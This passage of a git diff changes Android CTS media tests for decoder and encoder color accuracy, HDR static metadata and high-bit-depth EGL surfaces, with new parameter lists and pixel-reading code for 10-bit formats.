+                        "," + mColorBars[i][1] + "," + mColorBars[i][2] + ")");
+                frameFailed = true;
+            }
+        }
+        return frameFailed;
+    }
+
+    void dequeueOutput(int bufferIndex, MediaCodec.BufferInfo info) {
+        if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+            mSawOutputEOS = true;
+        }
+        if (ENABLE_LOGS) {
+            Log.v(LOG_TAG, "output: id: " + bufferIndex + " flags: " + info.flags + " size: " +
+                    info.size + " timestamp: " + info.presentationTimeUs);
+        }
+        if (info.size > 0 && (info.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) == 0) {
+            mOutputBuff.saveOutPTS(info.presentationTimeUs);
+            mOutputCount++;
+        }
+        mCodec.releaseOutputBuffer(bufferIndex, mSurface != null);
+        if (info.size > 0) {
+            mEGLWindowOutSurface.awaitNewImage();
+            mEGLWindowOutSurface.drawImage();
+            if (checkSurfaceFrame(mOutputCount - 1)) mBadFrames++;
+        }
+    }
+
+    /**
+     * The test decodes video assets with color bars and outputs frames to OpenGL input surface.
+     * The OpenGL fragment shader reads the frame buffers as externl textures and renders to
+     * a pbuffer. The output RGB values are read and compared against the expected values.
+     */
+    @LargeTest
+    @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+    public void testDecodeGlAccuracyRGB() throws IOException, InterruptedException {
+        if (mRange != MediaFormat.COLOR_RANGE_LIMITED
+                || mStandard != MediaFormat.COLOR_STANDARD_BT601_NTSC) {
+            // This test was added in Android T, but some upgrading devices fail the test. Hence
+            // limit the test to devices launching with T
+            assumeTrue("Skipping color range " + mRange + " and color standard " + mStandard +
+                            " for devices upgrading to T",
+                    FIRST_SDK_IS_AT_LEAST_T);
+
+            // TODO (b/219748700): Android software codecs work only with 601LR. Skip for now.
+            assumeTrue("Skipping " + mCompName + " for color range " + mRange
+                            + " and color standard " + mStandard,
+                    isVendorCodec(mCompName));
+        }
+
+        MediaFormat format = setUpSource(mFileName);
+
+        // Set color parameters
+        format.setInteger(MediaFormat.KEY_COLOR_RANGE, mRange);
+        format.setInteger(MediaFormat.KEY_COLOR_STANDARD, mStandard);
+        format.setInteger(MediaFormat.KEY_COLOR_TRANSFER, mTransferCurve);
+
+        // Set the format to surface mode
+        format.setInteger(MediaFormat.KEY_COLOR_FORMAT, COLOR_FormatSurface);
+
+        mWidth = format.getInteger(MediaFormat.KEY_WIDTH);
+        mHeight = format.getInteger(MediaFormat.KEY_HEIGHT);
+        mEGLWindowOutSurface = new OutputSurface(mWidth, mHeight, false, mUseYuvSampling);
+        mSurface = mEGLWindowOutSurface.getSurface();
+
+        mCodec = MediaCodec.createByCodecName(mCompName);
+        configureCodec(format, true, true, false);
+        mOutputBuff = new OutputManager();
+        mCodec.start();
+        doWork(Integer.MAX_VALUE);
+        queueEOS();
+        waitForAllOutputs();
+        validateColorAspects(mCodec.getOutputFormat(), mRange, mStandard, mTransferCurve);
+        mCodec.stop();
+        mCodec.release();
+        mEGLWindowOutSurface.release();
+
+        assertTrue("color difference exceeds allowed tolerance in " + mBadFrames + " out of " +
+                mOutputCount + " frames", 0 == mBadFrames);
+    }
+}
+
diff --git a/tests/media/src/android/mediav2/cts/DecoderHDRInfoTest.java b/tests/media/src/android/mediav2/cts/DecoderHDRInfoTest.java
new file mode 100644
index 0000000..3dd28aa
--- /dev/null
+++ b/tests/media/src/android/mediav2/cts/DecoderHDRInfoTest.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediav2.cts;
+
+import android.media.MediaFormat;
+import android.os.Build;
+
+import androidx.test.filters.SdkSuppress;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Assume;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.List;
+
+/**
+ * Test to validate hdr static metadata in decoders
+ */
+@RunWith(Parameterized.class)
+// P010 support was added in Android T, hence limit the following tests to Android T and above
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.TIRAMISU, codeName = "Tiramisu")
+public class DecoderHDRInfoTest extends CodecDecoderTestBase {
+    private static final String LOG_TAG = DecoderHDRInfoTest.class.getSimpleName();
+    private static final String HDR_STATIC_INFO =
+            "00 d0 84 80 3e c2 33 c4 86 4c 1d b8 0b 13 3d 42 40 a0 0f 32 00 10 27 df 0d";
+    private static final String HDR_STATIC_INCORRECT_INFO =
+            "00 d0 84 80 3e c2 33 c4 86 10 27 d0 07 13 3d 42 40 a0 0f 32 00 10 27 df 0d";
+
+    private final ByteBuffer mHDRStaticInfoStream;
+    private final ByteBuffer mHDRStaticInfoContainer;
+
+    public DecoderHDRInfoTest(String codecName, String mediaType, String testFile,
+                              String hdrStaticInfoStream, String hdrStaticInfoContainer) {
+        super(codecName, mediaType, testFile);
+        mHDRStaticInfoStream = hdrStaticInfoStream != null ?
+                ByteBuffer.wrap(loadByteArrayFromString(hdrStaticInfoStream)) : null;
+        mHDRStaticInfoContainer = hdrStaticInfoContainer != null ?
+                ByteBuffer.wrap(loadByteArrayFromString(hdrStaticInfoContainer)) : null;
+    }
+
+    @Parameterized.Parameters(name = "{index}({0}_{1})")
+    public static Collection<Object[]> input() {
+        final boolean isEncoder = false;
+        final boolean needAudio = false;
+        final boolean needVideo = true;
+        final List<Object[]> exhaustiveArgsList = Arrays.asList(new Object[][]{
+                // codecMediaType, testFile, hdrInfo in stream, hdrInfo in container
+                {MediaFormat.MIMETYPE_VIDEO_HEVC,
+                        "cosmat_352x288_hdr10_stream_and_container_correct_hevc.mkv",
+                        HDR_STATIC_INFO, HDR_STATIC_INFO},
+                {MediaFormat.MIMETYPE_VIDEO_HEVC,
+                        "cosmat_352x288_hdr10_stream_correct_container_incorrect_hevc.mkv",
+                        HDR_STATIC_INFO, HDR_STATIC_INCORRECT_INFO},
+                {MediaFormat.MIMETYPE_VIDEO_HEVC, "cosmat_352x288_hdr10_only_stream_hevc.mkv",
+                        HDR_STATIC_INFO, null},
+                {MediaFormat.MIMETYPE_VIDEO_HEVC, "cosmat_352x288_hdr10_only_container_hevc.mkv",
+                        null, HDR_STATIC_INFO},
+                {MediaFormat.MIMETYPE_VIDEO_VP9, "cosmat_352x288_hdr10_only_container_vp9.mkv",
+                        null, HDR_STATIC_INFO},
+                {MediaFormat.MIMETYPE_VIDEO_AV1,
+                        "cosmat_352x288_hdr10_stream_and_container_correct_av1.mkv",
+                        HDR_STATIC_INFO, HDR_STATIC_INFO},
+                {MediaFormat.MIMETYPE_VIDEO_AV1,
+                        "cosmat_352x288_hdr10_stream_correct_container_incorrect_av1.mkv",
+                        HDR_STATIC_INFO, HDR_STATIC_INCORRECT_INFO},
+                {MediaFormat.MIMETYPE_VIDEO_AV1, "cosmat_352x288_hdr10_only_stream_av1.mkv",
+                        HDR_STATIC_INFO, null},
+                {MediaFormat.MIMETYPE_VIDEO_AV1, "cosmat_352x288_hdr10_only_container_av1.mkv",
+                        null, HDR_STATIC_INFO},
+        });
+        return prepareParamList(exhaustiveArgsList, isEncoder, needAudio, needVideo, false);
+    }
+
+    @SmallTest
+    @Test(timeout = PER_TEST_TIMEOUT_SMALL_TEST_MS)
+    public void testHDRMetadata() throws IOException, InterruptedException {
+        int[] Hdr10Profiles = mProfileHdr10Map.get(mMime);
+        Assume.assumeNotNull("Test is only applicable to codecs that have HDR10 profiles",
+                Hdr10Profiles);
+        MediaFormat format = setUpSource(mTestFile);
+        mExtractor.release();
+        ArrayList<MediaFormat> formats = new ArrayList<>();
+        formats.add(format);
+
+        // When HDR metadata isn't present in the container, but included in the bitstream,
+        // extractors may not be able to populate HDR10/HDR10+ profiles correctly.
+        // In such cases, override the profile
+        if (mHDRStaticInfoContainer == null && mHDRStaticInfoStream != null) {
+            int profile = Hdr10Profiles[0];
+            format.setInteger(MediaFormat.KEY_PROFILE, profile);
+        }
+        Assume.assumeTrue(areFormatsSupported(mCodecName, mMime, formats));
+
+        if (mHDRStaticInfoContainer != null) {
+            validateHDRStaticMetaData(format, mHDRStaticInfoContainer);
+        }
+
+        validateHDRStaticMetaData(mInpPrefix, mTestFile,
+                mHDRStaticInfoStream == null ? mHDRStaticInfoContainer : mHDRStaticInfoStream,
+                false);
+        if (mHDRStaticInfoStream != null) {
+            if (EncoderHDRInfoTest.mCheckESList.contains(mMime)) {
+                validateHDRStaticMetaData(mInpPrefix, mTestFile, mHDRStaticInfoStream, true);
+            }
+        }
+    }
+}
diff --git a/tests/media/src/android/mediav2/cts/EGLWindowSurface.java b/tests/media/src/android/mediav2/cts/EGLWindowSurface.java
index 7b30812..2c2bd17 100644
--- a/tests/media/src/android/mediav2/cts/EGLWindowSurface.java
+++ b/tests/media/src/android/mediav2/cts/EGLWindowSurface.java
@@ -47,7 +47,7 @@
     /**
      * Prepares EGL.  We want a GLES 2.0 context and a surface that supports recording.
      */
-    private void eglSetup() {
+    private void eglSetup(boolean useHighBitDepth) {
         mEGLDisplay = EGL14.eglGetDisplay(EGL14.EGL_DEFAULT_DISPLAY);
         if (mEGLDisplay == EGL14.EGL_NO_DISPLAY) {
             throw new RuntimeException("unable to get EGL14 display");
@@ -60,12 +60,16 @@
 
         // Configure EGL for recordable and OpenGL ES 2.0.  We want enough RGB bits
         // to minimize artifacts from possible YUV conversion.
+        int eglColorSize = useHighBitDepth ? 10: 8;
+        int eglAlphaSize = useHighBitDepth ? 2: 0;
+        int recordable = useHighBitDepth ? 0: 1;
         int[] attribList = {
-                EGL14.EGL_RED_SIZE, 8,
-                EGL14.EGL_GREEN_SIZE, 8,
-                EGL14.EGL_BLUE_SIZE, 8,
+                EGL14.EGL_RED_SIZE, eglColorSize,
+                EGL14.EGL_GREEN_SIZE, eglColorSize,
+                EGL14.EGL_BLUE_SIZE, eglColorSize,
+                EGL14.EGL_ALPHA_SIZE, eglAlphaSize,
                 EGL14.EGL_RENDERABLE_TYPE, EGL14.EGL_OPENGL_ES2_BIT,
-                EGLExt.EGL_RECORDABLE_ANDROID, 1,
+                EGLExt.EGL_RECORDABLE_ANDROID, recordable,
                 EGL14.EGL_NONE
         };
         int[] numConfigs = new int[1];
@@ -124,13 +128,13 @@
     /**
      * Creates an InputSurface from a Surface.
      */
-    public EGLWindowSurface(Surface surface) {
+    public EGLWindowSurface(Surface surface, boolean useHighBitDepth) {
         if (surface == null) {
             throw new NullPointerException();
         }
         mSurface = surface;
 
-        eglSetup();
+        eglSetup(useHighBitDepth);
     }
 
     /**
diff --git a/tests/media/src/android/mediav2/cts/EncodeDecodeAccuracyTest.java b/tests/media/src/android/mediav2/cts/EncodeDecodeAccuracyTest.java
index f81c30a..dcb44b1 100644
--- a/tests/media/src/android/mediav2/cts/EncodeDecodeAccuracyTest.java
+++ b/tests/media/src/android/mediav2/cts/EncodeDecodeAccuracyTest.java
@@ -21,12 +21,15 @@
 import android.media.MediaFormat;
 import android.media.MediaMuxer;
 import android.opengl.GLES20;
+import android.opengl.GLES30;
 import android.util.Log;
 import android.util.Pair;
 import android.view.Surface;
 
 import androidx.test.filters.LargeTest;
 
+import org.junit.Assume;
+import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized;
@@ -41,7 +44,10 @@
 
 import javax.microedition.khronos.opengles.GL10;
 
+import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_Format32bitABGR2101010;
+import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatYUVP010;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
 
 @RunWith(Parameterized.class)
 public class EncodeDecodeAccuracyTest extends CodecDecoderTestBase {
@@ -50,9 +56,10 @@
     // qp of the encoded clips shall drop down to < 10. Further the color bands are aligned to 2,
     // so from downsampling rgb24 to yuv420p, even if bilinear filters are used as opposed to
     // skipping samples, we may not see large color loss. Hence allowable tolerance is kept to 5.
-    // until QP stabilizes, the tolerance is set at 7.
-    private final int TRANSIENT_STATE_COLOR_DELTA = 7;
-    private final int STEADY_STATE_COLOR_DELTA = 5;
+    // until QP stabilizes, the tolerance is set at 7. For devices upgrading to T, thresholds are
+    // relaxed to 8 and 10.
+    private final int TRANSIENT_STATE_COLOR_DELTA = FIRST_SDK_IS_AT_LEAST_T ? 7: 10;
+    private final int STEADY_STATE_COLOR_DELTA = FIRST_SDK_IS_AT_LEAST_T ? 5: 8;
     private final int[][] mColorBars = new int[][]{
             {66, 133, 244},
             {219, 68, 55},
@@ -77,6 +84,7 @@
     private final int mRange;
     private final int mStandard;
     private final int mTransferCurve;
+    private final boolean mUseHighBitDepth;
 
     private final CodecAsyncHandler mAsyncHandleEncoder;
     private MediaCodec mEncoder;
@@ -104,7 +112,8 @@
     private int mTrackID = -1;
 
     public EncodeDecodeAccuracyTest(String encoder, String mime, int width, int height,
-            int frameRate, int bitrate, int range, int standard, int transfer) {
+            int frameRate, int bitrate, int range, int standard, int transfer,
+            boolean useHighBitDepth) {
         super(null, mime, null);
         mCompName = encoder;
         mMime = mime;
@@ -115,6 +124,7 @@
         mRange = range;
         mStandard = standard;
         mTransferCurve = transfer;
+        mUseHighBitDepth = useHighBitDepth;
         mAsyncHandleEncoder = new CodecAsyncHandler();
         mLatency = 0;
         mReviseLatency = false;
@@ -127,18 +137,42 @@
         xOffset = mColorBarWidth >> 2;
     }
 
-    @Parameterized.Parameters(name = "{index}({0}_{1}_{6}_{7}_{8})")
+    @Before
+    public void setUp() throws IOException {
+        if (mUseHighBitDepth) {
+            assumeTrue("Codec doesn't support ABGR2101010",
+                    hasSupportForColorFormat(mCompName, mMime, COLOR_Format32bitABGR2101010));
+            assumeTrue("Codec doesn't support high bit depth profile encoding",
+                    doesCodecSupportHDRProfile(mCompName, mMime));
+        }
+    }
+
+    @Parameterized.Parameters(name = "{index}({0}_{1}_{6}_{7}_{8}_{9})")
     public static Collection<Object[]> input() {
         final boolean isEncoder = true;
         final boolean needAudio = false;
         final boolean needVideo = true;
         final List<Object[]> baseArgsList = Arrays.asList(new Object[][]{
-                // "video/*", width, height, framerate, bitrate, range, standard, transfer
+                // "video/*", width, height, framerate, bitrate, range, standard, transfer,
+                // useHighBitDepth
                 {720, 480, 30, 3000000, MediaFormat.COLOR_RANGE_LIMITED,
                         MediaFormat.COLOR_STANDARD_BT601_NTSC,
-                        MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+                        MediaFormat.COLOR_TRANSFER_SDR_VIDEO, false},
                 {720, 576, 30, 3000000, MediaFormat.COLOR_RANGE_LIMITED,
-                        MediaFormat.COLOR_STANDARD_BT601_PAL, MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+                        MediaFormat.COLOR_STANDARD_BT601_PAL, MediaFormat.COLOR_TRANSFER_SDR_VIDEO,
+                        false},
+                {720, 480, 30, 3000000, MediaFormat.COLOR_RANGE_FULL,
+                    MediaFormat.COLOR_STANDARD_BT2020,
+                    MediaFormat.COLOR_TRANSFER_ST2084, true},
+
+                // TODO (b/235954984) Some devices do not support following in h/w encoders
+                // Add more combinations as required once the encoders support these
+                /*
+                {720, 480, 30, 3000000, MediaFormat.COLOR_RANGE_LIMITED,
+                    MediaFormat.COLOR_STANDARD_BT2020, MediaFormat.COLOR_TRANSFER_ST2084, true},
+                {720, 480, 30, 3000000, MediaFormat.COLOR_RANGE_LIMITED,
+                    MediaFormat.COLOR_STANDARD_BT709, MediaFormat.COLOR_TRANSFER_SDR_VIDEO, true},
+                */
                 // TODO (b/186511593)
                 /*
                 {1280, 720, 30, 3000000, MediaFormat.COLOR_RANGE_LIMITED,
@@ -176,8 +210,8 @@
         final List<Object[]> exhaustiveArgsList = new ArrayList<>();
         for (String mime : mimes) {
             for (Object[] obj : baseArgsList) {
-                exhaustiveArgsList .add(new Object[]{mime, obj[0], obj[1], obj[2], obj[3], obj[4],
-                        obj[5], obj[6]});
+                exhaustiveArgsList.add(new Object[]{mime, obj[0], obj[1], obj[2], obj[3], obj[4],
+                        obj[5], obj[6], obj[7]});
             }
         }
         return CodecTestBase.prepareParamList(exhaustiveArgsList, isEncoder, needAudio, needVideo,
@@ -208,7 +242,7 @@
         }
         mInpSurface = mEncoder.createInputSurface();
         assertTrue("Surface is not valid", mInpSurface.isValid());
-        mEGLWindowInpSurface = new EGLWindowSurface(mInpSurface);
+        mEGLWindowInpSurface = new EGLWindowSurface(mInpSurface, mUseHighBitDepth);
         if (ENABLE_LOGS) {
             Log.v(LOG_TAG, "codec configured");
         }
@@ -360,8 +394,9 @@
     boolean isColorClose(int actual, int expected) {
         int delta = Math.abs(actual - expected);
         if (delta > mLargestColorDelta) mLargestColorDelta = delta;
-        return (delta <= (mOutputCount >= STEADY_STATE_FRAME_INDEX ? STEADY_STATE_COLOR_DELTA :
-                TRANSIENT_STATE_COLOR_DELTA));
+        int maxAllowedDelta = (mOutputCount >= STEADY_STATE_FRAME_INDEX ? STEADY_STATE_COLOR_DELTA :
+                TRANSIENT_STATE_COLOR_DELTA);
+        return (delta <= maxAllowedDelta);
     }
 
     private boolean checkSurfaceFrame(int frameIndex) {
@@ -370,10 +405,23 @@
         for (int i = 0; i < mColorBars.length; i++) {
             int x = mColorBarWidth * i + xOffset;
             int y = yOffset;
-            GLES20.glReadPixels(x, y, 1, 1, GL10.GL_RGBA, GL10.GL_UNSIGNED_BYTE, pixelBuf);
-            int r = pixelBuf.get(0) & 0xff;
-            int g = pixelBuf.get(1) & 0xff;
-            int b = pixelBuf.get(2) & 0xff;
+            int r, g, b;
+            if (mUseHighBitDepth) {
+                GLES30.glReadPixels(x, y, 1, 1, GL10.GL_RGBA, GLES30.GL_UNSIGNED_INT_2_10_10_10_REV,
+                        pixelBuf);
+                r = (pixelBuf.get(1) & 0x03) << 8 | (pixelBuf.get(0) & 0xFF);
+                g = (pixelBuf.get(2) & 0x0F) << 6 | ((pixelBuf.get(1) >> 2) & 0x3F);
+                b = (pixelBuf.get(3) & 0x3F) << 4 | ((pixelBuf.get(2) >> 4) & 0x0F);
+                // Convert the values to 8 bit as comparisons later are with 8 bit RGB values
+                r = (r + 2) >> 2;
+                g = (g + 2) >> 2;
+                b = (b + 2) >> 2;
+            } else {
+                GLES20.glReadPixels(x, y, 1, 1, GL10.GL_RGBA, GL10.GL_UNSIGNED_BYTE, pixelBuf);
+                r = pixelBuf.get(0) & 0xFF;
+                g = pixelBuf.get(1) & 0xFF;
+                b = pixelBuf.get(2) & 0xFF;
+            }
             if (!(isColorClose(r, mColorBars[i][0]) && isColorClose(g, mColorBars[i][1]) &&
                     isColorClose(b, mColorBars[i][2]))) {
                 Log.w(LOG_TAG, "Bad frame " + frameIndex + " (rect={" + x + " " + y + "} :rgb=" +
@@ -407,7 +455,7 @@
 
     private void decodeElementaryStream(MediaFormat format)
             throws IOException, InterruptedException {
-        mEGLWindowOutSurface = new OutputSurface(mWidth, mHeight);
+        mEGLWindowOutSurface = new OutputSurface(mWidth, mHeight, mUseHighBitDepth);
         mSurface = mEGLWindowOutSurface.getSurface();
         ArrayList<MediaFormat> formats = new ArrayList<>();
         formats.add(format);
@@ -416,6 +464,11 @@
         assertTrue("no suitable codecs found for : " + format.toString(),
                 !listOfDecoders.isEmpty());
         for (String decoder : listOfDecoders) {
+            if (mUseHighBitDepth &&
+                    !hasSupportForColorFormat(decoder, mMime, COLOR_FormatYUVP010) &&
+                    !hasSupportForColorFormat(decoder, mMime, COLOR_Format32bitABGR2101010)) {
+                continue;
+            }
             mCodec = MediaCodec.createByCodecName(decoder);
             configureCodec(format, true, true, false);
             mOutputBuff = new OutputManager();
diff --git a/tests/media/src/android/mediav2/cts/EncoderColorAspectsTest.java b/tests/media/src/android/mediav2/cts/EncoderColorAspectsTest.java
index 7a9ce5e..72e4765 100644
--- a/tests/media/src/android/mediav2/cts/EncoderColorAspectsTest.java
+++ b/tests/media/src/android/mediav2/cts/EncoderColorAspectsTest.java
@@ -17,10 +17,14 @@
 package android.mediav2.cts;
 
 import android.media.MediaCodec;
+import android.media.MediaCodecList;
 import android.media.MediaFormat;
 import android.media.MediaMuxer;
+import android.opengl.GLES20;
 import android.os.Build;
 import android.util.Log;
+import android.util.Pair;
+import android.view.Surface;
 
 import androidx.test.filters.SmallTest;
 
@@ -38,6 +42,10 @@
 import java.util.Collection;
 import java.util.List;
 
+import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface;
+import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatYUVP010;
+import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_Format32bitABGR2101010;
+import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
 
 /**
@@ -50,21 +58,32 @@
     private int mRange;
     private int mStandard;
     private int mTransferCurve;
+    private boolean mUseHighBitDepth;
+    private boolean mSurfaceMode;
+
+    private Surface mInpSurface;
+    private EGLWindowSurface mEGLWindowInpSurface;
     private MediaFormat mConfigFormat;
 
     private MediaMuxer mMuxer;
     private int mTrackID = -1;
 
+    private int mLatency;
+    private boolean mReviseLatency;
+
     private ArrayList<String> mCheckESList = new ArrayList<>();
 
     private static boolean sIsAtLeastR = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
 
     public EncoderColorAspectsTest(String encoderName, String mime, int width, int height,
-            int range, int standard, int transferCurve) {
+            int range, int standard, int transferCurve, boolean useHighBitDepth,
+            boolean surfaceMode) {
         super(encoderName, mime, new int[]{64000}, new int[]{width}, new int[]{height});
         mRange = range;
         mStandard = standard;
         mTransferCurve = transferCurve;
+        mUseHighBitDepth = useHighBitDepth;
+        mSurfaceMode = surfaceMode;
         mWidth = width;
         mHeight = height;
         setUpParams(1);
@@ -94,7 +113,33 @@
         super.dequeueOutput(bufferIndex, info);
     }
 
-    @Parameterized.Parameters(name = "{index}({0}_{1}_{4}_{5}_{6})")
+    private static void prepareArgsList(List<Object[]> exhaustiveArgsList,
+            List<String> stringArgsList, String[] mediaTypes, int[] ranges, int[] standards,
+            int[] transfers, boolean useHighBitDepth) {
+        // Assuming all combinations are supported by the standard which is true for AVC, HEVC, AV1,
+        // VP8 and VP9.
+        for (String mediaType : mediaTypes) {
+            for (int range : ranges) {
+                for (int standard : standards) {
+                    for (int transfer : transfers) {
+                        String currentObject =
+                                mediaType + "_" + range + "_" + standard + "_" + transfer;
+                        if (!stringArgsList.contains(currentObject)) {
+                            exhaustiveArgsList
+                                    .add(new Object[]{mediaType, 176, 144, range, standard,
+                                            transfer, useHighBitDepth, false});
+                            exhaustiveArgsList
+                                    .add(new Object[]{mediaType, 176, 144, range, standard,
+                                            transfer, useHighBitDepth, true});
+                            stringArgsList.add(currentObject);
+                        }
+                    }
+                }
+            }
+        }
+    }
+
+    @Parameterized.Parameters(name = "{index}({0}_{1}_{4}_{5}_{6}_{7}_{8})")
     public static Collection<Object[]> input() {
         final boolean isEncoder = true;
         final boolean needAudio = false;
@@ -111,35 +156,145 @@
                 UNSPECIFIED,
                 MediaFormat.COLOR_STANDARD_BT709,
                 MediaFormat.COLOR_STANDARD_BT601_PAL,
-                MediaFormat.COLOR_STANDARD_BT601_NTSC,
-                MediaFormat.COLOR_STANDARD_BT2020};
+                MediaFormat.COLOR_STANDARD_BT601_NTSC};
         int[] transfers = {-1,
                 UNSPECIFIED,
                 MediaFormat.COLOR_TRANSFER_LINEAR,
                 MediaFormat.COLOR_TRANSFER_SDR_VIDEO};
-        // TODO: COLOR_TRANSFER_ST2084, COLOR_TRANSFER_HLG are for 10 bit and above. Should these
-        //  be tested as well?
+
+        String[] mediaTypesHighBitDepth = {MediaFormat.MIMETYPE_VIDEO_AVC,
+                MediaFormat.MIMETYPE_VIDEO_HEVC,
+                MediaFormat.MIMETYPE_VIDEO_VP9,
+                MediaFormat.MIMETYPE_VIDEO_AV1};
+        int[] standardsHighBitDepth = {-1,
+                UNSPECIFIED,
+                MediaFormat.COLOR_STANDARD_BT2020};
+        int[] transfersHighBitDepth = {-1,
+                UNSPECIFIED,
+                MediaFormat.COLOR_TRANSFER_HLG,
+                MediaFormat.COLOR_TRANSFER_ST2084};
+
         List<Object[]> exhaustiveArgsList = new ArrayList<>();
-        // Assumes all combinations are supported by the standard
-        for (String mime : mimes) {
-            for (int range : ranges) {
-                for (int standard : standards) {
-                    for (int transfer : transfers) {
-                        exhaustiveArgsList
-                                .add(new Object[]{mime, 176, 144, range, standard, transfer});
-                    }
-                }
-            }
+        List<String> stringArgsList = new ArrayList<>();
+        prepareArgsList(exhaustiveArgsList, stringArgsList, mimes, ranges, standards, transfers,
+                false);
+        // P010 support was added in Android T, hence limit the following tests to Android T and
+        // above
+        if (IS_AT_LEAST_T) {
+            prepareArgsList(exhaustiveArgsList, stringArgsList, mediaTypesHighBitDepth, ranges,
+                    standardsHighBitDepth, transfersHighBitDepth, true);
         }
         return CodecTestBase
                 .prepareParamList(exhaustiveArgsList, isEncoder, needAudio, needVideo, false);
     }
+    private long computePresentationTime(int frameIndex) {
+        return frameIndex * 1000000 / mFrameRate;
+    }
+
+    private void generateSurfaceFrame() {
+        GLES20.glViewport(0, 0, mWidth, mHeight);
+        GLES20.glEnable(GLES20.GL_SCISSOR_TEST);
+        GLES20.glClearColor(128.0f, 128.0f, 128.0f, 1.0f);
+        GLES20.glClear(GLES20.GL_COLOR_BUFFER_BIT);
+    }
+
+    private void tryEncoderOutput(long timeOutUs) throws InterruptedException {
+        if (!mAsyncHandle.hasSeenError() && !mSawOutputEOS) {
+            int retry = 0;
+            while (mReviseLatency) {
+                if (mAsyncHandle.hasOutputFormatChanged()) {
+                    mReviseLatency = false;
+                    int actualLatency = mAsyncHandle.getOutputFormat()
+                            .getInteger(MediaFormat.KEY_LATENCY, mLatency);
+                    if (mLatency < actualLatency) {
+                        mLatency = actualLatency;
+                        return;
+                    }
+                } else {
+                    if (retry > RETRY_LIMIT) {
+                        throw new InterruptedException(
+                                "did not receive output format changed for encoder after " +
+                                        Q_DEQ_TIMEOUT_US * RETRY_LIMIT + " us");
+                    }
+                    Thread.sleep(Q_DEQ_TIMEOUT_US / 1000);
+                    retry++;
+                }
+            }
+            Pair<Integer, MediaCodec.BufferInfo> element = mAsyncHandle.getOutput();
+            if (element != null) {
+                dequeueOutput(element.first, element.second);
+            }
+        }
+    }
+
+    void queueEOS() throws InterruptedException {
+        if (!mSurfaceMode) {
+            super.queueEOS();
+        } else {
+            if (!mAsyncHandle.hasSeenError() && !mSawInputEOS) {
+                mCodec.signalEndOfInputStream();
+                mSawInputEOS = true;
+                if (ENABLE_LOGS) Log.d(LOG_TAG, "signalled end of stream");
+            }
+        }
+    }
+
+    void doWork(int frameLimit) throws IOException, InterruptedException {
+        if (!mSurfaceMode) {
+            super.doWork(frameLimit);
+        } else {
+            while (!mAsyncHandle.hasSeenError() && !mSawInputEOS &&
+                    mInputCount < frameLimit) {
+                if (mInputCount - mOutputCount > mLatency) {
+                    tryEncoderOutput(CodecTestBase.Q_DEQ_TIMEOUT_US);
+                }
+                mEGLWindowInpSurface.makeCurrent();
+                generateSurfaceFrame();
+                mEGLWindowInpSurface
+                        .setPresentationTime(computePresentationTime(mInputCount) * 1000);
+                if (ENABLE_LOGS) Log.d(LOG_TAG, "inputSurface swapBuffers");
+                mEGLWindowInpSurface.swapBuffers();
+                mInputCount++;
+            }
+        }
+    }
 
     @SmallTest
     @Test(timeout = PER_TEST_TIMEOUT_SMALL_TEST_MS)
     public void testColorAspects() throws IOException, InterruptedException {
         Assume.assumeTrue("Test introduced with Android 11", sIsAtLeastR);
-        setUpSource(mInputFile);
+        if (mSurfaceMode) {
+            Assume.assumeTrue("Surface mode tests are limited to devices launching with Android T",
+                    FIRST_SDK_IS_AT_LEAST_T);
+        }
+
+        if (mUseHighBitDepth) {
+            // Check if encoder is capable of supporting HDR profiles.
+            // Previous check doesn't verify this as profile isn't set in the format
+            Assume.assumeTrue(mCodecName + " doesn't support HDR encoding",
+                    CodecTestBase.doesCodecSupportHDRProfile(mCodecName, mMime));
+
+            // Encoder surface mode tests are to be enabled only if an encoder supports
+            // COLOR_Format32bitABGR2101010
+            if (mSurfaceMode) {
+                Assume.assumeTrue(mCodecName + " doesn't support RGBA1010102",
+                        hasSupportForColorFormat(mCodecName, mMime, COLOR_Format32bitABGR2101010));
+            }
+        }
+
+        if (mSurfaceMode) {
+            mConfigFormat.setInteger(MediaFormat.KEY_COLOR_FORMAT, COLOR_FormatSurface);
+        } else {
+            String inputTestFile = mInputFile;
+            if (mUseHighBitDepth) {
+                Assume.assumeTrue(hasSupportForColorFormat(mCodecName, mMime, COLOR_FormatYUVP010));
+                mConfigFormat.setInteger(MediaFormat.KEY_COLOR_FORMAT, COLOR_FormatYUVP010);
+                mBytesPerSample = 2;
+                inputTestFile = INPUT_VIDEO_FILE_HBD;
+            }
+            setUpSource(inputTestFile);
+        }
+
         mOutputBuff = new OutputManager();
         {
             mCodec = MediaCodec.createByCodecName(mCodecName);
@@ -156,13 +311,25 @@
             if (mMime.equals(MediaFormat.MIMETYPE_VIDEO_VP8) ||
                     mMime.equals(MediaFormat.MIMETYPE_VIDEO_VP9)) {
                 muxerFormat = MediaMuxer.OutputFormat.MUXER_OUTPUT_WEBM;
-                tmpFile = File.createTempFile("tmp", ".webm");
